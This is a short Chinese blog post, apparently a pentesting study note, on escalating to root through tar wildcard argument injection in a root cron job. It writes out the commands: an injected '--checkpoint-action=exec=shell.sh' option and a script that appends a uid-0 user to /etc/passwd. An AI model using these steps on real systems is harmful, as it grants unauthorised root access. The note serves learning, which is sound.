tar通配符提权

这个在cron提权的四种可以看到,这里觉得比较重要,就单独写出来了,仅讲一个原理,具体还是看cron提权笔记吧,毕竟他有图

tar命令提权本质:利用文件来注入命令行参数

tar命令参数特性:tar命令的参数是以 -- 开头的,若有文件以 -- 开头,tar会把它当作命令来执行

例子:原命令

tar -czf /root/website/backup.tar.gz *

解释:把当前目录下所有文件打包为 /root/website/backup.tar.gz

例:

1)在当前目录(/var/www/html)下新建 index-file=output.txt 文件:
touch '/var/www/html/--index-file=output.txt'

2)执行tar命令
tar -czf /root/.../backup.tar.gz *
原命令变为 tar -czf /root/.../backup.tar.gz --index-file=output.txt output.txt ...
(即把归档过程的详细记录写入 output.txt 文件中)

(2)用于提权(tar以root权限运行)

【1】 tar的参数:--checkpoint-action=exec=shell.sh

解释:这样tar会在归档时执行当前目录下的 shell.sh 脚本

一、向 shell.sh 中写入payload(如向 /etc/passwd 写入一个高权限用户 doll):

[1] echo '#!/bin/bash' > /var/www/html/shell.sh (写入shebang

[2] echo " " >> /var/www/html/shell.sh (空一行)

[3] echo 'echo "doll:密码hash:0:0:root:/root:/bin/bash" >> /etc/passwd' >> /var/www/html/shell.sh

##注:生成密码:
在本机Kali上用 openssl passwd doll (得到一个哈希值,即可写入到上面的 echo 语句中)
二、赋予 shell.sh 可执行权限:
chmod 755 ./shell.sh (此时可执行 shell.sh 脚本)
验证提权:
cat /etc/passwd | grep doll 可看到新增的 doll 用户
su doll 输入密码即可切换到 root(因为 /etc/passwd 中配置了该用户为root权限)

q:tar怎么自动执行?当然是定时任务了,且上面场景是基于tar以root权限执行

在定时任务中有这样一条命令:

5 * * * * root cd /var/www/html && tar -zcf /root/website/backup.tar.gz *
posted @ 2026-06-19 13:32  Doll_Marker  阅读(14)  评论(0)    收藏  举报